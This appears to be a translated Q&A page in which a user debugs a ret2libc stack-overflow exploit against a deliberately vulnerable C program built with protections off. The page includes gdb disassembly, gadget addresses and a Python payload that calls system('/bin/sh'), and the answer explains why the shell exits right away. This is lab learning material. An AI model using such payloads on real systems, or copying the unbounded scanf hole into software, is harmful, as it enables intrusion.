ret2lib c атака не вызывает оболочку - PullRequest
1 голос
/ 10 июля 2020

Я выполнил ret2lib c. Все работало нормально, но оболочка не порождается. Исходный код:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  scanf("%s",buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  printf("/bin/sh");
  return 1;
}

Дизассемблирование из gdb:

(gdb) disass main
Dump of assembler code for function main:
   0x0000555555555184 <+0>:     push   rbp
   0x0000555555555185 <+1>:     mov    rbp,rsp
   0x0000555555555188 <+4>:     mov    eax,0x0
   0x000055555555518d <+9>:     call   0x555555555155 <get>
   0x0000555555555192 <+14>:    lea    rdi,[rip+0xe6e]        # 0x555555556007
   0x0000555555555199 <+21>:    call   0x555555555030 <puts@plt>
   0x000055555555519e <+26>:    lea    rdi,[rip+0xe67]        # 0x55555555600c
   0x00005555555551a5 <+33>:    mov    eax,0x0
   0x00005555555551aa <+38>:    call   0x555555555040 <printf@plt>
   0x00005555555551af <+43>:    mov    eax,0x1                                                                                                                       
   0x00005555555551b4 <+48>:    pop    rbp                                                                                                                           
   0x00005555555551b5 <+49>:    ret                                                                                                                                  
End of assembler dump.                                                                                                                                               
(gdb) disass get                                                                                                                                                     
Dump of assembler code for function get:                                                                                                                             
   0x0000555555555155 <+0>:     push   rbp                                                                                                                           
   0x0000555555555156 <+1>:     mov    rbp,rsp                                                                                                                       
   0x0000555555555159 <+4>:     sub    rsp,0x10                                                                                                                      
   0x000055555555515d <+8>:     lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555161 <+12>:    mov    rsi,rax                                                                                                                       
   0x0000555555555164 <+15>:    lea    rdi,[rip+0xe99]        # 0x555555556004                                                                                       
   0x000055555555516b <+22>:    mov    eax,0x0                                                                                                                       
   0x0000555555555170 <+27>:    call   0x555555555050 <__isoc99_scanf@plt>                                                                                           
   0x0000555555555175 <+32>:    lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555179 <+36>:    mov    rdi,rax                                                                                                                       
   0x000055555555517c <+39>:    call   0x555555555030 <puts@plt>                                                                                                     
   0x0000555555555181 <+44>:    nop                                                                                                                                  
   0x0000555555555182 <+45>:    leave                                                                                                                                
   0x0000555555555183 <+46>:    ret                                                                                                                                  
End of assembler dump.                                                 

Я использовал radare2 чтобы найти гаджет pop rdi;ret, который находится по адресу 0x7ffff7e1d7de. /bin/sh находится по адресу 0x7ffff7f7f1ac, system() находится по адресу 0x7ffff7e3f8a0 и exit() находится по адресу 0x7ffff7e34fe0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]

Когда я заменил адрес /bin/sh на адрес ls, в ней было перечислено содержимое каталога. Но /bin/sh не порождает оболочку. Я использую 64-битную машину. Программа была скомпилирована с использованием gcc -ggdb -Wall -fno-stack-protector -o a exploit.c, а aslr отключен вручную. Почему не запускается оболочка?

1 Ответ

1 голос
/ 10 июля 2020

Ваша программа создает оболочку. Это легко увидеть, потому что, когда вы меняете его на spawn ls, он порождает ls.

Стандартный ввод вашей программы поступает из сценария Python. Ваша программа считывает весь вывод сценария, а затем запускает оболочку. Оболочка использует тот же стандартный ввод, что и ваша программа. Оболочка пытается прочитать команду, но ввода больше нет, поэтому она просто завершает работу.

...